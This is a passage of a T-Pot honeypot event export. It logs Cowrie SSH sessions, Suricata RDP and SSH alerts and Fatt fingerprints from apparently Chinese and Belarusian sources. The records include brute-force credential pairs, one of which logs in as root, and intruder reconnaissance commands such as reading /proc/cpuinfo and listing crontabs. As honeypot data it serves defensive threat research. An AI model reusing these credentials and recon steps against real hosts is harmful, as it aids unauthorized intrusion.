*", "username": "sh", "timestamp": "2021-09-20T11:23:20.355509Z", "@timestamp": "2021-09-20T11:23:20.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29107	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:20.877389+03	2021-09-20 14:30:03.705524+03	{"_id": "XQbyAnwBvYTbRNuEODPL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:20.877389Z", "@timestamp": "2021-09-20T11:23:20.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29108	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:21.136699+03	2021-09-20 14:30:03.706524+03	{"_id": "XgbyAnwBvYTbRNuEPDO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 0, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ca962318e3ca6e274cd3ec992913f549744144c268a62528685b477affbaf656", "src_ip": "1.117.219.217", "ttylog": "log/tty/ca962318e3ca6e274cd3ec992913f549744144c268a62528685b477affbaf656", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ca962318e3ca6e274cd3ec992913f549744144c268a62528685b477affbaf656 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.2593963146209717, "duplicate": false, "timestamp": "2021-09-20T11:23:21.136699Z", "@timestamp": "2021-09-20T11:23:21.136Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29109	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:21.748982+03	2021-09-20 14:30:03.707524+03	{"_id": "YAbyAnwBvYTbRNuEPDO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:21.748982Z", "@timestamp": "2021-09-20T11:23:21.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29110	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:22.635385+03	2021-09-20 14:30:03.709524+03	{"_id": "ZgbyAnwBvYTbRNuEQDOc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:22.635385Z", "@timestamp": "2021-09-20T11:23:22.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29111	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:23:23.147894+03	2021-09-20 14:30:03.710524+03	{"_id": "agbyAnwBvYTbRNuEQjNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 699231130764537, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53995, "dest_port": 3389, "timestamp": "2021-09-20T11:23:23.147894Z", "@timestamp": "2021-09-20T11:23:23.147Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29112	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:23:23.242295+03	2021-09-20 14:30:03.712524+03	{"_id": "awbyAnwBvYTbRNuEQjNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 699231130764537, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 53995, "timestamp": "2021-09-20T11:23:23.242295Z", "@timestamp": "2021-09-20T11:23:23.242Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29113	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:23:23.147894+03	2021-09-20 14:30:03.713523+03	{"_id": "bQbyAnwBvYTbRNuEQzON", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 53995, "dest_port": 3389, "timestamp": "2021-09-20T11:23:23.147894", "@timestamp": "2021-09-20T11:23:23.147Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
29165	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:23:36.659515+03	2021-09-20 14:30:03.778523+03	{"_id": "xAbyAnwBvYTbRNuEdzNY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.login.failed", "message": "login attempt [backup/1q2w3e4r] failed", "session": "94bf932ebc06", "@version": "1", "password": "1q2w3e4r", "username": "backup", "timestamp": "2021-09-20T11:23:36.659515Z", "@timestamp": "2021-09-20T11:23:36.659Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29114	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:24.023066+03	2021-09-20 14:30:03.714523+03	{"_id": "bgbyAnwBvYTbRNuERDOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "1.117.219.217", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5068306922912598, "duplicate": true, "timestamp": "2021-09-20T11:23:24.023066Z", "@timestamp": "2021-09-20T11:23:24.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29115	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:23:23.570186+03	2021-09-20 14:30:03.715524+03	{"_id": "dAbyAnwBvYTbRNuERjNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:23:22.804089+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 699231130764537, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 53995, "dest_port": 3389, "timestamp": "2021-09-20T11:23:23.570186Z", "@timestamp": "2021-09-20T11:23:23.570Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29116	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:24.386228+03	2021-09-20 14:30:03.717524+03	{"_id": "dwbyAnwBvYTbRNuESDNv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:24.386228Z", "@timestamp": "2021-09-20T11:23:24.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29117	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:24.385666+03	2021-09-20 14:30:03.718524+03	{"_id": "dQbyAnwBvYTbRNuESDNv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:24.385666Z", "@timestamp": "2021-09-20T11:23:24.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29118	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:15.459163+03	2021-09-20 14:30:03.720523+03	{"_id": "PQbyAnwBvYTbRNuEJTNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.success", "message": "login attempt [root/4444] succeeded", "session": "db2b50a9c8db", "@version": "1", "password": "4444", "username": "root", "timestamp": "2021-09-20T11:23:15.459163Z", "@timestamp": "2021-09-20T11:23:15.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
29129	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:23.516483+03	2021-09-20 14:30:03.734523+03	{"_id": "cAbyAnwBvYTbRNuERDOG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:23.516483Z", "@timestamp": "2021-09-20T11:23:23.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29119	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:23:16.259573+03	2021-09-20 14:30:03.721524+03	{"_id": "QgbyAnwBvYTbRNuEJjP9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 69868097628701, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59148, "dest_port": 22, "timestamp": "2021-09-20T11:23:16.259573Z", "@timestamp": "2021-09-20T11:23:16.259Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29120	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:15.98721+03	2021-09-20 14:30:03.722523+03	{"_id": "QwbyAnwBvYTbRNuEKDMz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59148, "timestamp": "2021-09-20T11:23:15.987210", "@timestamp": "2021-09-20T11:23:15.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29121	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:20.019533+03	2021-09-20 14:30:03.723524+03	{"_id": "UgbyAnwBvYTbRNuENDPi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:20.019533Z", "@timestamp": "2021-09-20T11:23:20.019Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29122	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:20.526459+03	2021-09-20 14:30:03.725525+03	{"_id": "XAbyAnwBvYTbRNuEODPL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "1.117.219.217", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.507009744644165, "duplicate": true, "timestamp": "2021-09-20T11:23:20.526459Z", "@timestamp": "2021-09-20T11:23:20.526Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29123	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:21.748438+03	2021-09-20 14:30:03.726524+03	{"_id": "XwbyAnwBvYTbRNuEPDO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:21.748438Z", "@timestamp": "2021-09-20T11:23:21.748Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
30088	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.137171+03	2021-09-20 14:45:02.554142+03	{"_id": "PAb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.137171Z", "@timestamp": "2021-09-20T11:32:08.137Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29124	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:22.257857+03	2021-09-20 14:30:03.727524+03	{"_id": "ZwbyAnwBvYTbRNuEQDOc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "1.117.219.217", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5095021724700928, "duplicate": true, "timestamp": "2021-09-20T11:23:22.257857Z", "@timestamp": "2021-09-20T11:23:22.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29125	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:22.635936+03	2021-09-20 14:30:03.729523+03	{"_id": "YgbyAnwBvYTbRNuEQDOc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 